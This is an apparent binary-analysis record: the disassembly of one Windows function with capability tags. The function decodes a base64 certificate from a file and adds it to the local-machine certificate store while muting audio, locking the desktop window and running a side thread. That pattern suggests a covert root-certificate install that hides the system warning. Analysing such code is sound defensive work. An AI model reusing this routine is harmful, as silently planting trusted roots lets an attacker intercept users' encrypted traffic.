Function at 0x4afd70
Capabilities:
Create thread
Decode data using base64 via winapi
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], 0
test esi, esi
jne 0x4afd8d
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
mov edi, dword [ebp + 0xc]
cmp edi, 2
jne 0x4afde8
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4afda0
sub ecx, edx
lea edi, [ecx + 1]
push edi
mov dword [ebp - 4], edi
call fcn.004b7328
push edi
mov ebx, eax
call fcn.004b7328
mov edi, eax
mov ecx, ebx
add esp, 8
mov dword [ebp + 8], edi
sub ecx, esi
lea esp, [esp]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x4afdd0
mov esi, dword [ebp - 4]
mov dword [ebp - 8], esi
jmp 0x4afe89
push 0x50e4c8
push esi
call fcn.004b629c
mov esi, eax
add esp, 8
test esi, esi
jne 0x4afe06
push str.cant_open_file_n
jmp 0x4affdc
push 2
push 0
push esi
call fcn.004b6340
push esi
call fcn.004b6753
push 0
mov ebx, eax
push 0
push esi
mov dword [ebp - 4], ebx
call fcn.004b6340
lea eax, [ebx + 1]
push eax
call fcn.004b7328
add esp, 0x20
mov ebx, eax
test edi, edi
je 0x4afe4b
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.004b7328
add esp, 4
mov dword [ebp + 8], eax
mov edi, eax
jmp 0x4afe51
mov edi, dword [ebp + 8]
mov dword [ebp + 8], edi
test ebx, ebx
je 0x4affce
cmp dword [ebp + 0xc], 0
je 0x4afe67
test edi, edi
je 0x4affce
push esi
push dword [ebp - 4]
push 1
push ebx
call fcn.004b6984
push esi
mov dword [ebp - 4], eax
mov byte [ebx + eax], 0
mov dword [ebp - 8], eax
call fcn.004b6a9c
mov esi, dword [ebp - 4]
add esp, 0x14
push 0x4d2cc0
push 0x20000
push 0
push 0
push 0xa
call dword [sym.imp.CRYPT32.dll_CertOpenStore]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4afeb0
push str.the_system_store_did_not_openn
jmp 0x4affdc
cmp dword [ebp + 0xc], 0
je 0x4afeee
push 0
push 0
lea eax, [ebp - 8]
push eax
push edi
push 0
lea eax, [esi + 1]
push eax
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x4afef1
push str.ascii_to_binary_failed_n
or esi, 0xffffffff
call fcn.004b6bad
add eax, 0x40
push eax
call fcn.004b97ec
add esp, 8
jmp 0x4affa2
mov dword [ebp + 8], ebx
lea eax, [ebp - 0xc]
push eax
push 0
call dword [sym.imp.WINMM.dll_waveOutGetVolume]
push 0
push 0
mov dword [0x52212c], 0
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_LockWindowUpdate]
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0x4b0130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 2
push dword [ebp - 8]
mov esi, eax
push dword [ebp + 8]
push 0x10001
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CertAddEncodedCertificateToStore]
push esi
mov dword [ebp - 0x10], eax
mov dword [0x52212c], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x4aff71
push 0
call dword [sym.imp.USER32.dll_LockWindowUpdate]
push dword [ebp - 0xc]
push 0
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
cmp dword [ebp - 0x10], 0
jne 0x4aff9d
push str.failed_to_add_cert_to_store_n
call fcn.004b6bad
add eax, 0x40
push eax
call fcn.004b97ec
add esp, 8
or esi, 0xffffffff
jmp 0x4aff9f
xor esi, esi
mov edi, dword [ebp + 8]
push 0
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
push ebx
call fcn.004b605a
add esp, 4
cmp dword [ebp + 0xc], 0
je 0x4affc5
push edi
call fcn.004b605a
add esp, 4
pop edi
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.004b6a9c
add esp, 4
push str.no_memory_n
call fcn.004b6bad
add eax, 0x40
push eax
call fcn.004b97ec
add esp, 8
or eax, 0xffffffff
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret